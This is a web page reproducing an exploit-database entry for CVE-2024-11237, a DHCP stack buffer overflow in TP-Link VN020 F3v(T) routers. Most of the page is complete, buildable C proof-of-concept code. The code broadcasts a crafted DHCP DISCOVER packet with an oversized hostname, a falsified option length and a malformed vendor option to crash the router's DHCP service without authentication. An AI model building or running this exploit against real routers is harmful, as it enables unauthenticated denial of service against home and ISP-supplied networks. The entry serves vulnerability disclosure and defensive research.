TP-Link VN020 F3v(T) TT_V6.2.1021) – DHCP Stack Buffer Overflow

Exploit Details

Basic Information

Exploit Title TP-Link VN020 F3v(T) TT_V6.2.1021) – DHCP Stack Buffer Overflow
Exploit ID EDB-ID:52292
Type exploitdb
Published 2025-05-13T00:00:00
Modified 2025-05-13T00:00:00

CVSS Information

CVSS Score 8.7
Severity HIGH
Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/SC:N/VI:N/SI:N/VA:H/SA:N

CVE Information

  • CVE-2024-11237

Exploit Description

/ * Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) – DHCP Stack Buffer Overflow * Date: 10/20/2024 * Exploit Author: Mohamed…

Exploit Code

/*

* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) – DHCP Stack Buffer Overflow

* Date: 10/20/2024

* Exploit Author: Mohamed Maatallah

* Vendor Homepage: https://www.tp-link.com

* Version: TT_V6.2.1021 (VN020-F3v(T))

* Tested on: VN020-F3v(T) Router (Hardware Version 1.0)

* CVE: CVE-2024-11237

* Category: Remote

* Technical Details:

* —————–

* – Triggers multiple memory corruption vectors in DHCP parsing

* – Primary vector: Stack overflow via oversized hostname (127 bytes)

* – Secondary vector: Parser confusion via malformed length fields

* – Tertiary vector: Vendor specific option parsing edge case

*

* Attack Surface:

* ————–

* – DHCP service running on port 67

* – Processes broadcast DISCOVER packets

* – No authentication required

* – Affects all routers running VN020 F3v(t) specifically the ones

* supplied by Tunisie Telecom & Topnet

*

* Exploitation Method:

* ——————

* 1. Sends crafted DHCP DISCOVER packet

* 2. Overflows hostname buffer (64 -> 127 bytes)

* 3. Corrupts length fields in DHCP options

* 4. Success = No response (service crash)

*

* Build:

* ——

* Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly.

*

* Usage:

* ——

* tplink_dhcp.exe

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include

#include

#include

#include

#include

#include

#pragma comment(lib, “ws2_32.lib”)

// Standard DHCP ports – Server listens on 67, clients send from 68

#define DHCP_SERVER_PORT 67

#define DHCP_CLIENT_PORT 68

#define MAX_PACKET_SIZE 1024 // Maximum size for DHCP packet

#define MAX_ATTEMPTS 3

// Forward declarations of functions

void create_dhcp_discover_packet(unsigned char* packet, int* packet_length);

void add_option(unsigned char* packet, int* offset, unsigned char option,

unsigned char length, unsigned char* data);

void tp_link(unsigned char* packet, int* offset);

void print_packet_hex(unsigned char* packet, int length);

int wait_for_response(SOCKET sock, int timeout);

int main() {

WSADATA wsa;

SOCKET sock;

struct sockaddr_in dest;

unsigned char packet[MAX_PACKET_SIZE]; // Buffer for DHCP packet

int packet_length = 0; // Length of constructed packet

int attempts = 0; // Counter for send attempts

int success = 0;

printf(“[TP-Thumper] Initializing Winsock…\n”);

if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {

printf(“[TP-Thumper] Winsock initialization failed. Error: %d\n”,

WSAGetLastError());

return 1;

}

sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

if (sock == INVALID_SOCKET) {

printf(“[TP-Thumper] Could not create socket. Error: %d\n”,

WSAGetLastError());

WSACleanup();

return 1;

}

// Set up broadcast address (255.255.255.255)

dest.sin_family = AF_INET;

dest.sin_port = htons(DHCP_SERVER_PORT);

dest.sin_addr.s_addr = inet_addr(“255.255.255.255”);

// Enable broadcast mode on socket

BOOL broadcast = TRUE;

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast,

sizeof(broadcast)) < 0) {
printf(“[TP-Thumper] Broadcast mode failed.\n”);

closesocket(sock);

WSACleanup();

return 1;

}

srand((unsigned int)time(NULL));

// Create the DHCP DISCOVER packet

create_dhcp_discover_packet(packet, &packet_length);

// Main attempt loop – tries to send packet MAX_ATTEMPTS times

while (attempts < MAX_ATTEMPTS && !success) {
printf(“[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)…\n”,

attempts + 1, MAX_ATTEMPTS);

print_packet_hex(packet, packet_length); //debug

// Send the packet

if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest,

sizeof(dest)) < 0) {
printf(“[TP-Thumper] Packet send failed. Error: %d\n”, WSAGetLastError());

}

else {

printf(“[TP-Thumper] Packet sent. Waiting for router response…\n”);

if (wait_for_response(sock, 10)) {

printf(

“[TP-Thumper] Router responded! Exploit may not have succeeded.\n”);

success = 1;

}

else {

printf(“[TP-Thumper] No response received within timeout.\n”);

}

}

attempts++;

}

if (!success) {

printf(

“[TP-Thumper] Exploit succeeded: No router response after %d ”

“attempts.\n”,

MAX_ATTEMPTS);

}

else {

printf(“[TP-Thumper] Exploit failed: Router responded within timeout.\n”);

}

// Cleanup

closesocket(sock);

WSACleanup();

return 0;

}

/*

* DHCP Message Format:

* [0x00]: op = 0x01 ; BOOTREQUEST

* [0x01]: htype = 0x01 ; Ethernet

* [0x02]: hlen = 0x06 ; MAC addr len

* [0x03]: hops = 0x00 ; No relay

* [0x04-0x07]: xid ; Random transaction ID

* [0x08-0x0F]: secs + flags ; Broadcast flags set

* [0x10-0x1F]: ciaddr + yiaddr ; Empty

* [0x20-0x27]: siaddr + giaddr ; Empty

* [0x28-0x2D]: chaddr ; Crafted MAC

*/

void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) {

memset(packet, 0, MAX_PACKET_SIZE);

int offset = 0;

// DHCP Header – Standard fields

packet[offset++] = 0x01; // BOOTREQUEST

packet[offset++] = 0x01; // Ethernet

packet[offset++] = 0x06; // MAC len

packet[offset++] = 0x00; // No hops

// ; XID – rand() used for bypass of response filtering

// ; mov eax, rand()

// ; mov [packet + 4], eax

unsigned int xid = (unsigned int)rand();

*((unsigned int*)&packet[offset]) = htonl(xid);

offset += 4;

// ; Flags – Set broadcast bit to force response

// ; mov word [packet + 8], 0x0000 ; secs elapsed

// ; mov word [packet + 10], 0x8000 ; broadcast flag

packet[offset++] = 0x00;

packet[offset++] = 0x00;

packet[offset++] = 0x80;

packet[offset++] = 0x00;

// Zero IP fields – forces DHCP server parse

memset(&packet[offset], 0, 16);

offset += 16;

// ; Crafted MAC – DE:AD:BE:EF:00:01

// ; Used for unique client tracking, bypasses MAC filters

packet[offset++] = 0xDE;

packet[offset++] = 0xAD;

packet[offset++] = 0xBE;

packet[offset++] = 0xEF;

packet[offset++] = 0x00;

packet[offset++] = 0x01;

memset(&packet[offset], 0x00, 10);

offset += 10;

// ; Skip server name/boot filename

// ; Total padding: 192 bytes

memset(&packet[offset], 0x00, 64);

offset += 64;

memset(&packet[offset], 0x00, 128);

offset += 128;

// ; DHCP Magic Cookie

// ; 0x63825363 = DHCP in natural order

packet[offset++] = 0x63;

packet[offset++] = 0x82;

packet[offset++] = 0x53;

packet[offset++] = 0x63;

// ; Stack layout after this point:

// ; [ebp+0] = DHCP header

// ; [ebp+240] = DHCP options start

// ; Router parses sequentially from this point

add_option(packet, &offset, 0x35, 0x01, (unsigned char[]) { 0x01 });

add_option(packet, &offset, 0x37, 4,

(unsigned char[]) {

0x01, 0x03, 0x06, 0x0F

});

// ; Trigger overflow conditions

tp_link(packet, &offset);

packet[offset++] = 0xFF; // End option

*packet_length = offset;

}

void tp_link(unsigned char* packet, int* offset) {

// ; Vendor specific overflow – triggers parser state confusion

// ; 0x00,0x14,0x22 = TP-Link vendor prefix

// ; Following 0xFF bytes cause length validation bypass

unsigned char vendor_specific[] = { 0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF };

add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific);

// ; Stack buffer overflow via hostname

// ; Router allocates 64-byte buffer but we send 127

// ; Overwrites adjacent stack frame

unsigned char long_hostname[128];

memset(long_hostname, ‘A’, sizeof(long_hostname) – 1);

long_hostname[127] = ‘\0’;

add_option(packet, offset, 0x0C, 127, long_hostname);

// ; Length field exploit

// ; Claims 255 bytes but only sends 1

// ; Router assumes full length during memory operations

// ; leads to read/write past buffer

add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]) { 0x01 });

}

// ; Helper for DHCP option construction

// ; option = option code

// ; length = claimed length (can be falsified)

// ; data = actual payload

void add_option(unsigned char* packet, int* offset, unsigned char option,

unsigned char length, unsigned char* data) {

packet[(*offset)++] = option; // Option type

packet[(*offset)++] = length; // Claimed length

memcpy(&packet[*offset], data, length);

*offset += length;

}

// Debug

void print_packet_hex(unsigned char* packet, int length) {

printf(“[TP-Thumper] Packet Hex Dump:\n”);

// Print header fields with labels

printf(“Opcode (op): %02X\n”, packet[0]);

printf(“Hardware Type (htype): %02X\n”, packet[1]);

printf(“Hardware Address Length (hlen): %02X\n”, packet[2]);

printf(“Hops: %02X\n”, packet[3]);

// Transaction ID

printf(“Transaction ID (xid): “);

for (int i = 4; i < 8; i++) {
printf(“%02X “, packet[i]);

}

printf(“\n”);

// Flags

printf(“Flags: “);

for (int i = 10; i < 12; i++) {
printf(“%02X “, packet[i]);

}

printf(“\n”);

// Client Hardware Address (MAC)

printf(“Client Hardware Address (chaddr): “);

for (int i = 28; i < 34; i++) {
printf(“%02X “, packet[i]);

}

printf(“\n”);

// DHCP Magic Cookie

printf(“Magic Cookie: “);

for (int i = 236; i < 240; i++) {
printf(“%02X “, packet[i]);

}

printf(“\n”);

// DHCP Options

printf(“DHCP Options:\n”);

int i = 240;

while (i < length) {
printf(” Option: %02X, Length: %02X, Data: “, packet[i], packet[i + 1]);

int option_length = packet[i + 1];

for (int j = 0; j < option_length; j++) {
printf(“%02X “, packet[i + 2 + j]);

}

printf(“\n”);

i += 2 + option_length;

if (packet[i] == 0xFF) {

printf(” End of Options\n”);

break;

}

}

}

// Wait for router response with timeout

int wait_for_response(SOCKET sock, int timeout) {

struct timeval tv;

tv.tv_sec = timeout;

tv.tv_usec = 0;

// Set up file descriptor set for select()

fd_set readfds;

FD_ZERO(&readfds);

FD_SET(sock, &readfds);

// Wait for data or timeout

int result = select(0, &readfds, NULL, NULL, &tv);

return result > 0; // Returns true if data available

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.